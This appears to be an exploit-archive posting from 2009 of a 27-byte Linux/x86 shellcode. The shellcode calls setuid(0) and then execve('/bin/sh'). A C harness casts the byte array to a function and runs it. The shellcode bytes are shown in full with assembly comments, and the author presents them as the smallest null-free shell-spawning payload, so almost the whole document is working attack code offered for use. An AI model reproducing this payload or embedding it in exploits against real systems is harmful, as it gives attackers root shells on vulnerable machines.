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27 Bytes setuid/execve Shellcode

27 Bytes setuid/execve Shellcode
Posted Jul 6, 2009
Authored by vlan7 | Site vlan7.blogspot.com

27 bytes small Linux/x86 setuid(0) and execve("/bin/sh",0,0) shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | bdc78449c1f635f062ade25df0e45d95aa1798aa892eac87fb644cc407eeb707

27 Bytes setuid/execve Shellcode

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#include <stdio.h>

const char sc[]= "\x31\xdb" //xor ebx,ebx
"\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER tha push/pop
"\x99" //cdq
"\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)
"\xb0\x0b" //mov al,0bh
"\x52" //push edx /Termina la cadena //bin/sh con un 0
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3" //mov ebx,esp
"\x89\xd1" //mov ecx,edx
"\xcd\x80"; //int 80h

int main()
{
printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE "
"WITHOUT NULLS THAT SPAWNS A SHELL"
"\n\nCoded by vlan7"
"\n\t + vlan7[at]bigfoot.com"
"\n\t + http://vlan7.blogspot.com"
"\n\n[+] Date: 4/Jul/2009"
"\n[+] Thanks to: sch3m4. He initiated the funny game."
"\n\n[+] Shellcode Size: %d bytes\n\n",
sizeof(sc)-1);
(*(void (*)()) sc)();
return 0;
}
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